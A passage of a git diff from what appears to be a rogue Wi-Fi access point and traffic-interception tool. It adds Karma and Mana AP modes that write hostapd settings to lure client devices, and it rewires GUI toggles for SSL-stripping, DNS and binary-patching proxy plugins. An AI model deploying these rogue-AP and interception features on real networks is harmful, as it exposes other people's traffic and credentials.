('Settings',[QtGui.QPushButton('None'),QtGui.QPushButton('None'),QtGui.QPushButton('None'),self.btnBDFSettings]), - ('Description',[self.check_pumpkinProxy.objectName(), - self.check_dns2proy.objectName(),self.check_sergioProxy.objectName(), - self.check_bdfproxy.objectName()]) - ]) - - # table 2 for add plugins with checkbox - self.THeadersPlugins = OrderedDict( - [ ('Plugins',[self.check_tcpproxy,self.check_responder]), - ('Settings',[QtGui.QPushButton('None'),self.btnResponderSettings]), - ('Description',[self.check_tcpproxy.objectName(),self.check_responder.objectName(),]) - ]) - self.tableplugins = QtGui.QTableWidget() - self.tableplugins.setColumnCount(3) - self.tableplugins.setRowCount(len(self.THeadersPluginsProxy['Plugins'])) - self.tableplugins.resizeRowsToContents() - self.tableplugins.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) - self.tableplugins.horizontalHeader().setStretchLastSection(True) - self.tableplugins.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) - self.tableplugins.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) - self.tableplugins.verticalHeader().setVisible(False) - self.tableplugins.verticalHeader().setDefaultSectionSize(23) - self.tableplugins.setSortingEnabled(True) - self.tableplugins.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys()) - self.tableplugins.horizontalHeader().resizeSection(0,158) - self.tableplugins.horizontalHeader().resizeSection(1,80) - self.tableplugins.resizeRowsToContents() - - self.tableplugincheckbox = QtGui.QTableWidget() - self.tableplugincheckbox.setColumnCount(3) - self.tableplugincheckbox.setRowCount(len(self.THeadersPlugins['Plugins'])) - self.tableplugincheckbox.resizeRowsToContents() - self.tableplugincheckbox.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) - self.tableplugincheckbox.horizontalHeader().setStretchLastSection(True) - self.tableplugincheckbox.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) - self.tableplugincheckbox.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) - self.tableplugincheckbox.verticalHeader().setVisible(False) - self.tableplugincheckbox.verticalHeader().setDefaultSectionSize(23) - self.tableplugincheckbox.setSortingEnabled(True) - self.tableplugincheckbox.setHorizontalHeaderLabels(self.THeadersPlugins.keys()) - self.tableplugincheckbox.horizontalHeader().resizeSection(0,158) - self.tableplugincheckbox.horizontalHeader().resizeSection(1,80) - self.tableplugincheckbox.resizeRowsToContents() - - # add all widgets in Qtable 1 plgins - Headers = [] - for n, key in enumerate(self.THeadersPluginsProxy.keys()): - Headers.append(key) - for m, item in enumerate(self.THeadersPluginsProxy[key]): - if type(item) == type(QtGui.QRadioButton()) or type(item) == type(QtGui.QPushButton()): - self.tableplugins.setCellWidget(m,n,item) - else: - item = QtGui.QTableWidgetItem(item) - self.tableplugins.setItem(m, n, item) - self.tableplugins.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys()) - # add all widgets in Qtable 2 plugin - Headers = [] - for n, key in enumerate(self.THeadersPlugins.keys()): - Headers.append(key) - for m, item in enumerate(self.THeadersPlugins[key]): - if type(item) == type(QtGui.QCheckBox()) or type(item) == type(QtGui.QPushButton()): - self.tableplugincheckbox.setCellWidget(m,n,item) - else: - item = QtGui.QTableWidgetItem(item) - self.tableplugincheckbox.setItem(m, n, item) - self.tableplugins.setHorizontalHeaderLabels(self.THeadersPlugins.keys()) - - self.proxyGroup = QtGui.QButtonGroup() - self.proxyGroup.addButton(self.check_pumpkinProxy) - self.proxyGroup.addButton(self.check_dns2proy) - self.proxyGroup.addButton(self.check_sergioProxy) - self.proxyGroup.addButton(self.check_noproxy) - self.proxyGroup.addButton(self.check_bdfproxy) - - self.check_tcpproxy.clicked.connect(self.checkBoxTCPproxy) - self.check_pumpkinProxy.clicked.connect(self.checkGeneralOptions) - self.check_dns2proy.clicked.connect(self.checkGeneralOptions) - self.check_sergioProxy.clicked.connect(self.checkGeneralOptions) - self.check_bdfproxy.clicked.connect(self.checkGeneralOptions) - self.check_noproxy.clicked.connect(self.checkGeneralOptions) - self.check_responder.clicked.connect(self.checkBoxResponder) - - self.layoutproxy.addWidget(self.tableplugins) - self.layoutproxy.addWidget(self.tableplugincheckbox) + #self.layoutproxy.addWidget(self.tableplugins) + #self.layoutproxy.addWidget(self.tableplugincheckbox) self.layout.addWidget(self.GroupPluginsProxy) + self.layout.addWidget(self.GroupPlugins) self.addLayout(self.layout) def get_disable_proxyserver(self): @@ -214,23 +148,13 @@ def checkGeneralOptions(self): self.unset_Rules('sslstrip') self.set_PumpkinProxy() elif self.check_noproxy.isChecked(): - self.main_method.set_proxy_statusbar('',disabled=True) - self.main_method.PumpkinProxyTAB.tabcontrol.setEnabled(False) - self.main_method.ProxyPluginsTAB.scrollwidget.setEnabled(False) + #self.main_method.set_proxy_statusbar('',disabled=True) + #self.main_method.PumpkinProxyTAB.tabcontrol.setEnabled(False) + #self.main_method.ProxyPluginsTAB.scrollwidget.setEnabled(False) self.unset_Rules('dns2proxy') self.unset_Rules('sslstrip') self.unset_Rules('bdfproxy') - - def ConfigOBJBDFproxy(self): - ''' show BDFproxy settings page ''' - self.SettingsBDFProxy = BDFProxySettings() - self.SettingsBDFProxy.show() - - def ConfigOBJBResponder(self): - ''' show REsponder settings page ''' - self.SettingsResponder = ResponderSettings() - self.SettingsResponder.show() - + #TODO Routine relates with TCP Proxy def checkBoxTCPproxy(self): if self.check_tcpproxy.isChecked(): self.FSettings.Settings.set_setting('plugins','tcpproxy_plugin',True) @@ -241,12 +165,6 @@ def checkBoxTCPproxy(self): self.main_method.PacketSnifferTAB.tabcontrol.setEnabled(False) self.main_method.ImageCapTAB.TableImage.setEnabled(False) - def checkBoxResponder(self): - if self.check_responder.isChecked(): - self.FSettings.Settings.set_setting('plugins','responder_plugin',True) - else: - self.FSettings.Settings.set_setting('plugins','responder_plugin',False) - def optionsRules(self,type): ''' add rules iptable by type plugins''' search = { diff --git a/core/widgets/tabmodels.py b/core/widgets/tabmodels.py index a64e0a7..7cf1459 100644 --- a/core/widgets/tabmodels.py +++ b/core/widgets/tabmodels.py @@ -10,15 +10,12 @@ from core.widgets.pluginssettings import PumpkinProxySettings from core.utility.collection import SettingsINI from plugins.external.scripts import * +from plugins.extension import * from functools import partial from plugins.analyzers import * import core.utility.constants as C from core.widgets.customiseds import AutoGridLayout -load_plugins = True -try: - from plugins.extension import * -except ImportError: - load_plugins = False + """ Description: This program is a core for wifi-pumpkin.py. file which includes functionality @@ -67,7 +64,7 @@ def __init__(self,mainWindow ): self.AP_name = QtGui.QLabel(self.main_method.EditApName.text()) self.AP_BSSID = QtGui.QLabel(self.main_method.EditBSSID.text()) self.AP_Channel = QtGui.QLabel(self.main_method.EditChannel.text()) - self.AP_NetworkApdater = QtGui.QLabel(self.main_method.selectCard.currentText()) + self.AP_NetworkApdater = QtGui.QLabel(self.main_method.WLANCard.currentText()) self.AP_ROUTER = QtGui.QLabel(self.main_method.DHCP['router']) self.AP_DHCP_range = QtGui.QLabel(self.main_method.DHCP['range']) self.AP_Security = QtGui.QLabel('') @@ -106,7 +103,7 @@ def update_labels(self): self.AP_name.setText(self.main_method.EditApName.text()) self.AP_BSSID.setText(self.main_method.EditBSSID.text()) self.AP_Channel.setText(self.main_method.EditChannel.text()) - self.AP_NetworkApdater.setText(self.main_method.selectCard.currentText()) + self.AP_NetworkApdater.setText(self.main_method.WLANCard.currentText()) self.AP_ROUTER.setText(self.main_method.DHCP['router']) self.AP_DHCP_range.setText(self.main_method.DHCP['range']) self.update_security_label(self.main_method.GroupApPassphrase.isChecked()) @@ -403,10 +400,9 @@ def setSettingsPlgins(self,plugin): def search_all_ProxyPlugins(self): ''' load all plugins function ''' - if load_plugins: - plugin_classes = plugin.PluginTemplate.__subclasses__() - for p in plugin_classes: - self.plugins.append(p()) + plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in plugin_classes: + self.plugins.append(p()) class ProxySSLstrip(QtGui.QVBoxLayout): ''' settings Transparent Proxy ''' @@ -713,7 +709,7 @@ def __init__(self, parent=None,widgets=None): self.CB_monitorURL = QtGui.QCheckBox('HTTP-Requests') self.CB_bdfproxy = QtGui.QCheckBox('BDFProxy-ng') self.CB_dns2proxy = QtGui.QCheckBox('Dns2Proxy') - self.CB_responder = QtGui.QCheckBox('Responder') + self.CB_responder = QtGui.QCheckBox('Firelamb') self.CB_pumpkinPro = QtGui.QCheckBox('Pumpkin-Proxy') self.CB_ActiveMode.setChecked(self.FSettings.Settings.get_setting('dockarea','advanced',format=bool)) self.CB_Cread.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool)) @@ -778,11 +774,11 @@ def AreaWidgetLoader(self,DockInfo): if DockInfo[key]['active']: self.dock = QtGui.QDockWidget(key) if key == 'HTTP-Authentication': - self.AllDockArea[key] = dockCredsMonitor(None,DockInfo[key]) + self.AllDockArea[key] = dockCredsMonitor(None,DockInfo[key]) #TODO Done by netcreds mitmmodule elif key == 'HTTP-Requests': - self.AllDockArea[key] = dockUrlMonitor(None,DockInfo[key]) + self.AllDockArea[key] = dockUrlMonitor(None,DockInfo[key]) #TODO Need to be added elif key == 'PumpkinProxy': - self.AllDockArea[key] = dockPumpkinProxy(None, DockInfo[key]) + self.AllDockArea[key] = dockPumpkinProxy(None, DockInfo[key]) #TODO Done by TCP PRoxy Module else: self.AllDockArea[key] = dockAreaAPI(None,DockInfo[key]) self.dock.setWidget(self.AllDockArea[key]) @@ -794,6 +790,7 @@ def AreaWidgetLoader(self,DockInfo): if len(self.dockList) > 1: for index in range(1, len(self.dockList) - 1): if self.dockList[index].objectName() != 'HTTP-Requests': + #TODO Continue Refactor Here self.Tab_Dock.tabifyDockWidget(self.dockList[index], self.dockList[index + 1]) try: @@ -829,7 +826,7 @@ def doCheckAdvanced(self): self.dockInfo['HTTP-Authentication']['active'] = self.CB_Cread.isChecked() self.dockInfo['BDFProxy']['active'] = self.CB_bdfproxy.isChecked() self.dockInfo['Dns2Proxy']['active'] = self.CB_dns2proxy.isChecked() - self.dockInfo['Responder']['active'] = self.CB_responder.isChecked() + self.dockInfo['Firelamb']['active'] = self.CB_responder.isChecked() self.dockInfo['PumpkinProxy']['active'] = self.CB_pumpkinPro.isChecked() if self.CB_ActiveMode.isChecked(): self.AreaWidgetLoader(self.dockInfo) diff --git a/core/wirelessmode/Karma.py b/core/wirelessmode/Karma.py new file mode 100644 index 0000000..9201e1d --- /dev/null +++ b/core/wirelessmode/Karma.py @@ -0,0 +1,94 @@ +from core.config.globalimport import * +import weakref +from core.utility.threads import ProcessHostapd,ThRunDhcp,ProcessThread +from core.widgets.default.uimodel import * +from core.wirelessmode.WirelessMode import Mode + + +class Karma(Mode): + ConfigRoot = "Karma" + SubConfig = "Karma" + Name = "Karma AP Mode" + ID = "Karma" + def __init__(self,parent=0): + super(Karma,self).__init__(parent) + def Initialize(self): + self.configure_network_AP() + self.get_soft_dependencies() + ignore = ('interface=', 'ssid=', 'channel=', 'essid=') + with open(C.HOSTAPDCONF_PATH, 'w') as apconf: + for i in self.parent.SettingsAP['hostapd']: apconf.write(i) + for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): + if not config.startswith('#') and len(config) > 0: + if not config.startswith(ignore): + apconf.write(config + '\n') + if self.Settings.EnableMana.isChecked(): + apconf.write('enable_karma=1'+'\n') + if self.Settings.ManaLoud.isChecked(): + apconf.write('karma_black_white=1' + '\n') + else: + apconf.write('karma_black_white=0' + '\n') + apconf.close() + + def boot(self): + # create thread for hostapd and connect get_Hostapd_Response function + self.reactor = ProcessHostapd({self.hostapd_path: [C.HOSTAPDCONF_PATH]}, self.parent.currentSessionID) + self.reactor.setObjectName('KarmaHostapd') + self.reactor.statusAP_connected.connect(self.LogOutput) + self.reactor.statusAPError.connect(self.Shutdown) + @property + def Settings(self): + return KarmaSettings.getInstance() + +class KarmaSettings(CoreSettings): + ConfigRoot = "Karma" + Name = "Karma" + ID = "Karma" + Category = "Wireless" + instances = [] + def __init__(self,parent): + super(KarmaSettings,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.FSettings = SuperSettings.getInstance() + self.setCheckable(False) + self.WLayout = QtGui.QGroupBox() + self.WLayout.setTitle("Karma AP Settings") + self.WLGrid = QtGui.QGridLayout() + self.WLayout.setLayout(self.WLGrid) + self.hide() + + + self.HostapdKarmaPath = QtGui.QLineEdit() + self.HostapdKarmaPath.setText(self.FSettings.Settings.get_setting(self.ConfigRoot ,'{}_hostapd_path'.format(self.ConfigRoot))) + self.HostapdConf = QtGui.QComboBox() + os.path.walk('core/config/hostapd',self.osWalkCallback,None) + + + self.EnableMana = QtGui.QGroupBox("Enable Karma") + self.EnableMana.setCheckable(True) + self.EnableMana.setObjectName("enable_karma") + self.EnableMana.setChecked(self.FSettings.Settings.get_setting(self.ConfigRoot, 'enable_karma',format=bool)) + self.ManaLoud = QtGui.QCheckBox("Karma Black") + self.ManaLoud.setObjectName("karma_black_white") + self.ManaLoud.setChecked(self.FSettings.Settings.get_setting(self.ConfigRoot, 'karma_black_white',format=bool)) + self.KLayout = QtGui.QFormLayout() + self.KLayout.addRow(self.ManaLoud) + self.EnableMana.setLayout(self.KLayout) + + self.APLayout = QtGui.QFormLayout() + self.APLayout.addRow(QtGui.QLabel("Hostapd with Mana"),self.HostapdKarmaPath) + self.APLayout.addRow(QtGui.QLabel("Mana Conf"), self.HostapdConf) + self.APLayout.addRow(self.EnableMana) + self.layout.addLayout(self.APLayout) + def osWalkCallback(self,arg,directory,files): + for file in files: + self.HostapdConf.addItem(os.path.join(directory,file)) + def setAP_essid_random(self): + ''' set random mac 3 last digits ''' + prefix = [] + for item in [x for x in str(self.EditBSSID.text()).split(':')]: + prefix.append(int(item,16)) + self.EditBSSID.setText(Refactor.randomMacAddress([prefix[0],prefix[1],prefix[2]]).upper()) + @classmethod + def getInstance(cls): + return cls.instances[0] diff --git a/core/wirelessmode/Mana.py b/core/wirelessmode/Mana.py new file mode 100644 index 0000000..ac34663 --- /dev/null +++ b/core/wirelessmode/Mana.py @@ -0,0 +1,101 @@ +from core.config.globalimport import * +import weakref +from core.utility.threads import ProcessHostapd,ThRunDhcp,ProcessThread +from core.widgets.default.uimodel import * +from core.wirelessmode.WirelessMode import Mode + + +class Mana(Mode): + ConfigRoot = "Mana" + SubConfig = "Mana" + Name = "Mana AP Mode" + ID = "Mana" + def __init__(self,parent=0): + super(Mana,self).__init__(parent) + + + def Initialize(self): + + self.configure_network_AP() + self.get_soft_dependencies() + ignore = ('interface=', 'ssid=', 'channel=', 'essid=') + with open(C.HOSTAPDCONF_PATH, 'w') as apconf: + for i in self.parent.SettingsAP['hostapd']: apconf.write(i) + for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): + if not config.startswith('#') and len(config) > 0: + if not config.startswith(ignore): + apconf.write(config + '\n') + if self.Settings.EnableMana.isChecked(): + apconf.write('enable_mana=1'+'\n') + if self.Settings.ManaLoud.isChecked(): + apconf.write('mana_loud=1' + '\n') + else: + apconf.write('mana_loud=0' + '\n') + if self.Settings.ManaACL.isChecked(): + apconf.write('mana_macl=1' + '\n') + else: + apconf.write('mana_macacl=0' + '\n') + apconf.close() + + def boot(self): + # create thread for hostapd and connect get_Hostapd_Response function + self.reactor = ProcessHostapd({self.hostapd_path: [C.HOSTAPDCONF_PATH]}, self.parent.currentSessionID) + self.reactor.setObjectName('ManaHostapd') + self.reactor.statusAP_connected.connect(self.LogOutput) + self.reactor.statusAPError.connect(self.Shutdown) + @property + def Settings(self): + return ManaSettings.getInstance() + +class ManaSettings(CoreSettings): + ConfigRoot = "Mana" + Name = "Mana" + ID = "Mana" + Category = "Wireless" + instances = [] + def __init__(self,parent): + super(ManaSettings,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.FSettings = SuperSettings.getInstance() + self.setCheckable(False) + self.hide() + + + self.HostapdKarmaPath = QtGui.QLineEdit() + self.HostapdKarmaPath.setText(self.FSettings.Settings.get_setting(self.ConfigRoot ,'{}_hostapd_path'.format(self.ConfigRoot))) + self.HostapdConf = QtGui.QComboBox() + os.path.walk('core/config/hostapd',self.osWalkCallback,None) + + self.EnableMana = QtGui.QGroupBox("Enable Mana") + self.EnableMana.setCheckable(True) + self.EnableMana.setObjectName("enable_mana") + self.EnableMana.setChecked(self.FSettings.Settings.get_setting(self.ConfigRoot, 'enable_mana',format=bool)) + self.ManaLoud = QtGui.QCheckBox("Mana Loud") + self.ManaLoud.setObjectName("mana_loud") + self.ManaLoud.setChecked(self.FSettings.Settings.get_setting(self.ConfigRoot, 'mana_loud',format=bool)) + self.ManaACL = QtGui.QCheckBox("Mana ACL") + self.ManaACL.setObjectName("mana_macl") + self.ManaACL.setChecked(self.FSettings.Settings.get_setting(self.ConfigRoot, 'mana_macacl',format=bool)) + self.KLayout = QtGui.QFormLayout() + self.KLayout.addRow(self.ManaLoud) + self.KLayout.addRow(self.ManaACL) + self.EnableMana.setLayout(self.KLayout) + + self.APLayout = QtGui.QFormLayout() + self.APLayout.addRow(QtGui.QLabel("Hostapd with Mana"),self.HostapdKarmaPath) + self.APLayout.addRow(QtGui.QLabel("Mana Conf"), self.HostapdConf) + self.APLayout.addRow(self.EnableMana) + self.layout.addLayout(self.APLayout) + def osWalkCallback(self,arg,directory,files): + for file in files: + self.HostapdConf.addItem(os.path.join(directory,file)) + def setAP_essid_random(self): + ''' set random mac 3 last digits ''' + prefix = [] + for item in [x for x in str(self.EditBSSID.text()).split(':')]: + prefix.append(int(item,16)) + self.EditBSSID.setText(Refactor.randomMacAddress([prefix[0],prefix[1],prefix[2]]).upper()) + + @classmethod + def getInstance(cls): + return cls.instances[0] diff --git a/core/wirelessmode/Static.py b/core/wirelessmode/Static.py new file mode 100644 index 0000000..926246c --- /dev/null +++ b/core/wirelessmode/Static.py @@ -0,0 +1,202 @@ +from core.config.globalimport import * +import weakref +from os import ( + system,path,getcwd, + popen,listdir,mkdir,chown +) +from pwd import getpwnam +from grp import getgrnam +from time import asctime +from core.utility.threads import ProcessHostapd,ThRunDhcp,ProcessThread +from core.wirelessmode.WirelessMode import Mode +from core.widgets.default.uimodel import * + + + +class Static(Mode): + ConfigRoot = "Static" + SubConfig = "Static" + ID = "Static" + Name = "Static AP Mode" + def __init__(self,parent=0): + super(Static,self).__init__(parent) + self.confgSecurity=[] + + @property + def Settings(self): + return StaticSettings.getInstance() + def Initialize(self): + self.check_Wireless_Security() + dh, gateway = self.SessionConfig.DHCP.conf['router'], str(self.SessionConfig.DHCP.EditGateway.text()) + if dh[:len(dh) - len(dh.split('.').pop())] == gateway[:len(gateway) - len(gateway.split('.').pop())]: + return QtGui.QMessageBox.warning(self, 'DHCP Server settings', + 'The DHCP server check if range ip class is same.' + 'it works, but not share internet connection in some case.\n' + 'for fix this, You need change on tab (settings -> Class Ranges)' + 'now you have choose the Class range different of your network.') + + # Check the key + if self.Settings.WSLayout.isChecked(): + if 1 <= self.Settings.WPAtype_spinbox.value() <= 2: + if not (8 <= len(self.Settings.editPasswordAP.text()) <= 63 and is_ascii( + str(self.Settings.editPasswordAP.text()))): + return self.check_key_security_invalid() + if self.Settings.WPAtype_spinbox.value() == 0: + if not (len(self.Settings.editPasswordAP.text()) == 5 or len( + self.Settings.editPasswordAP.text()) == 13) and is_ascii( + str(self.Settings.editPasswordAP.text())) \ + and not ((len(self.Settings.editPasswordAP.text()) == 10 or len( + self.Settings.editPasswordAP.text()) == 24) and is_hexadecimal( + str(self.Settings.editPasswordAP.text()))): + return self.check_key_security_invalid() + # get Tab-Hostapd conf and configure hostapd + self.configure_network_AP() + self.check_Wireless_Security() # check if user set wireless password + ignore = ('interface=', 'ssid=', 'channel=', 'essid=') + with open(C.HOSTAPDCONF_PATH, 'w') as apconf: + for i in self.parent.SettingsAP['hostapd']: apconf.write(i) + for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): + if not config.startswith('#') and len(config) > 0: + if not config.startswith(ignore): + apconf.write(config + '\n') + apconf.close() + def boot(self): + # create thread for hostapd and connect get_Hostapd_Response function + self.reactor = ProcessHostapd({self.hostapd_path: [C.HOSTAPDCONF_PATH]}, self.parent.currentSessionID) + self.reactor.setObjectName('StaticHostapd') + self.reactor.statusAP_connected.connect(self.LogOutput) + self.reactor.statusAPError.connect(self.Shutdown) + + def LogOutput(self,data): + if self.parent.Home.DHCP.ClientTable.APclients != {}: + if data in self.parent.Home.DHCP.ClientTable.APclients.keys(): + self.parent.StationMonitor.addRequests(data,self.parent.Home.DHCP.ClientTable.APclients[data],False) + self.parent.Home.DHCP.ClientTable.delete_item(data) + self.parent.connectedCount.setText(str(len(self.parent.Home.DHCP.ClientTable.APclients.keys()))) + def check_key_security_invalid(self): + return QtGui.QMessageBox.warning(self, 'Security Key', + 'This Key can not be used.\n' + 'The requirements for a valid key are:\n\n' + 'WPA:\n' + '- 8 to 63 ASCII characters\n\n' + 'WEP:\n' + '- 5/13 ASCII characters or 13/26 hexadecimal characters') + def check_Wireless_Security(self): + '''check if user add security password on AP''' + #New Implementation after refactored + if self.Settings.WSLayout.isChecked(): + self.confgSecurity = [] + if 1 <= self.Settings.WPAtype_spinbox.value() <= 2: + self.confgSecurity.append('wpa={}\n'.format(str(self.Settings.WPAtype_spinbox.value()))) + self.confgSecurity.append('wpa_key_mgmt=WPA-PSK\n') + self.confgSecurity.append('wpa_passphrase={}\n'.format(self.Settings.editPasswordAP.text())) + if '+' in self.Settings.wpa_pairwiseCB.currentText(): + self.confgSecurity.append('wpa_pairwise=TKIP CCMP\n') + else: + self.confgSecurity.append('wpa_pairwise={}\n'.format(self.Settings.wpa_pairwiseCB.currentText())) + + if self.Settings.WPAtype_spinbox.value() == 0: + self.confgSecurity.append('auth_algs=1\n') + self.confgSecurity.append('wep_default_key=0\n') + if len(self.Settings.editPasswordAP.text()) == 5 or len(self.Settings.editPasswordAP.text()) == 13: + self.confgSecurity.append('wep_key0="{}"\n'.format(self.Settings.editPasswordAP.text())) + else: + self.confgSecurity.append('wep_key0={}\n'.format(self.Settings.editPasswordAP.text())) + + for config in self.confgSecurity: + self.parent.SettingsAP['hostapd'].append(config) + self.FSettings.Settings.set_setting('accesspoint','WPA_SharedKey',self.Settings.editPasswordAP.text()) + self.FSettings.Settings.set_setting('accesspoint','WPA_Algorithms',self.Settings.wpa_pairwiseCB.currentText()) + self.FSettings.Settings.set_setting('accesspoint','WPA_type',self.Settings.WPAtype_spinbox.value()) + + + +class StaticSettings(CoreSettings): + Name = "Static" + ID = "Static" + Category = "Wireless" + instances=[] + def __init__(self,parent): + super(StaticSettings,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.FSettings = SuperSettings.getInstance() + self.setCheckable(False) + self.hide() + + + self.WSLayout = QtGui.QGroupBox() + self.WSLayout.setTitle("Wireless Security") + self.WSLayout.setFixedWidth(300) + self.WSLayout.setCheckable(True) + self.WSLayout.setChecked( + self.FSettings.Settings.get_setting('accesspoint', 'enable_Security', format=bool)) + self.WSLayout.clicked.connect(self.check_StatusWPA_Security) + + self.WSGrid = QtGui.QGridLayout() + self.editPasswordAP = QtGui.QLineEdit(self.FSettings.Settings.get_setting('accesspoint', 'WPA_SharedKey')) + self.WPAtype_spinbox = QtGui.QSpinBox() + self.wpa_pairwiseCB = QtGui.QComboBox() + self.lb_type_security = QtGui.QLabel() + wpa_algotims = self.FSettings.Settings.get_setting('accesspoint', 'WPA_Algorithms') + self.wpa_pairwiseCB.addItems(C.ALGORITMS) + self.wpa_pairwiseCB.setCurrentIndex(C.ALGORITMS.index(wpa_algotims)) + self.WPAtype_spinbox.setMaximum(2) + self.WPAtype_spinbox.setMinimum(0) + self.WPAtype_spinbox.setValue(self.FSettings.Settings.get_setting('accesspoint', 'WPA_type', format=int)) + self.editPasswordAP.setFixedWidth(150) + self.editPasswordAP.textChanged.connect(self.update_security_settings) + self.WPAtype_spinbox.valueChanged.connect(self.update_security_settings) + self.update_security_settings() + + # add widgets on layout Group + self.WSGrid.addWidget(QtGui.QLabel('Security type:'), 0, 0) + self.WSGrid.addWidget(self.WPAtype_spinbox, 0, 1) + self.WSGrid.addWidget(self.lb_type_security, 0, 2) + self.WSGrid.addWidget(QtGui.QLabel('WPA Algorithms:'), 1, 0) + self.WSGrid.addWidget(self.wpa_pairwiseCB, 1, 1) + self.WSGrid.addWidget(QtGui.QLabel('Security Key:'), 2, 0) + self.WSGrid.addWidget(self.editPasswordAP, 2, 1) + + self.WSLayout.setLayout(self.WSGrid) + self.APLayout = QtGui.QFormLayout() + self.APLayout.addRow(self.WSLayout) + self.layout.addLayout(self.APLayout) + def check_StatusWPA_Security(self): + '''simple connect for get status security wireless click''' + self.FSettings.Settings.set_setting('accesspoint', + 'enable_security',self.WSLayout.isChecked()) + def setAP_essid_random(self): + ''' set random mac 3 last digits ''' + prefix = [] + for item in [x for x in str(self.EditBSSID.text()).split(':')]: + prefix.append(int(item,16)) + self.EditBSSID.setText(Refactor.randomMacAddress([prefix[0],prefix[1],prefix[2]]).upper()) + def update_security_settings(self): + if 1 <= self.WPAtype_spinbox.value() <= 2: + self.set_security_type_text('WPA') + if 8 <= len(self.editPasswordAP.text()) <= 63 and is_ascii(str(self.editPasswordAP.text())): + self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid green;}") + else: + self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid red;}") + self.wpa_pairwiseCB.setEnabled(True) + if self.WPAtype_spinbox.value() == 2: + self.set_security_type_text('WPA2') + if self.WPAtype_spinbox.value() == 0: + self.set_security_type_text('WEP') + if (len(self.editPasswordAP.text()) == 5 or len(self.editPasswordAP.text()) == 13) and \ + is_ascii(str(self.editPasswordAP.text())) or (len(self.editPasswordAP.text()) == 10 or len(self.editPasswordAP.text()) == 26) and \ + is_hexadecimal(str(self.editPasswordAP.text())): + self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid green;}") + else: + self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid red;}") + self.wpa_pairwiseCB.setEnabled(False) + def set_security_type_text(self,string=str): + self.lb_type_security.setText(string) + self.lb_type_security.setFixedWidth(60) + self.lb_type_security.setStyleSheet("QLabel {border-radius: 2px;" + "padding-left: 10px; background-color: #3A3939; color : silver; } " + "QWidget:disabled{ color: #404040;background-color: #302F2F; } ") + + @classmethod + def getInstance(cls): + return cls.instances[0] diff --git a/core/wirelessmode/WirelessMode.py b/core/wirelessmode/WirelessMode.py new file mode 100644 index 0000000..9e1142d --- /dev/null +++ b/core/wirelessmode/WirelessMode.py @@ -0,0 +1,107 @@ +from core.config.globalimport import * +from re import * +from os import ( + system,path,getcwd, + popen,listdir,mkdir,chown +) +from shutil import move +from core.widgets.default.SessionConfig import * +from core.servers.dhcp.dhcp import DHCPClient + +class Mode(QtGui.QWidget): + ConfigRoot = "Generic" + SubConfig = "Generic" + ID = "GenericWirelessMode" + Name = "Wireless Mode Generic" + service = None + reactor = None + def __init__(self,parent=None,FSettings = None): + super(Mode,self).__init__(parent) + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.controlui = QtGui.QRadioButton("{}".format(self.Name)) + self.controlui.toggled.connect(partial(self.controlcheck,self.controlui)) + self.controlui.setChecked(self.FSettings.Settings.get_setting('accesspoint', self.ID, format=bool)) + self.SettingsAP = {} + self.hostapd_path = os.path.abspath( + str(self.FSettings.Settings.get_setting(self.ConfigRoot, '{}_hostapd_path'.format(self.ConfigRoot)))) + self.currentSessionID = self.parent.currentSessionID + self.SettingsAP = self.parent.SettingsAP + self.SessionsAP = self.parent.SessionsAP + self.SessionConfig = SessionConfig.getInstance() + self.interfacesLink = Refactor.get_interfaces() + + def get_soft_dependencies(self): + ''' check if Hostapd, isc-dhcp-server is installed ''' + if not path.isfile(self.hostapd_path): + return QtGui.QMessageBox.information(self,'Error Hostapd','hostapd is not installed') + if self.FSettings.Settings.get_setting('accesspoint','dhcpd_server',format=bool): + if not self.SettingsEnable['ProgCheck'][3]: + return QtGui.QMessageBox.warning(self,'Error dhcpd','isc-dhcp-server (dhcpd) is not installed') + return True + def configure_network_AP(self): + self.parent.configure_network_AP() + def controlcheck(self,object): + self.FSettings.Settings.set_setting('accesspoint', + self.ID, self.controlui.isChecked()) + if self.Settings: + self.Settings.setEnabled(self.controlui.isChecked()) + if self.controlui.isChecked(): + self.Settings.show() + + else: + self.Settings.hide() + + @property + def WirelessSettings(self): + return self.SessionConfig.Wireless + @property + def Settings(self): + pass + def Initialize(self): + pass + def boot(self): + pass + def Shutdown(self): + pass + def Start(self): + self.Initialize() + self.boot() + self.PostStart() + def PostStart(self): + self.parent.set_status_label_AP(True) + # TODO remove the code below as it has been replaced with proxy disables + # self.ProxyPluginsTAB.GroupSettings.setEnabled(False) + print('-------------------------------') + print('AP::[{}] Running...'.format(self.WirelessSettings.EditSSID.text())) + print('AP::BSSID::[{}] CH {}'.format(Refactor.get_interface_mac( + self.WirelessSettings.WLANCard.currentText()), + self.WirelessSettings.EditChannel.value())) + self.FSettings.Settings.set_setting('accesspoint', 'statusAP', True) + self.FSettings.Settings.set_setting('accesspoint', 'interfaceAP', + str(self.WirelessSettings.WLANCard.currentText())) + # check if Advanced mode is enable + def Stop(self): + self.Shutdown() + @property + def DHCPClient(self): + return DHCPClient.instances[0] + def get_error_hostapdServices(self,data): + '''check error hostapd on mount AP ''' + self.Shutdown() + return QtGui.QMessageBox.warning(self,'[ERROR] Hostpad', + 'Failed to initiate Access Point, ' + 'check output process hostapd.\n\nOutput::\n{}'.format(data)) + def LogOutput(self,data): + ''' get inactivity client from hostapd response''' + + if self.DHCPClient.ClientTable.APclients != {}: + if data in self.DHCPClient.ClientTable.APclients.keys(): + 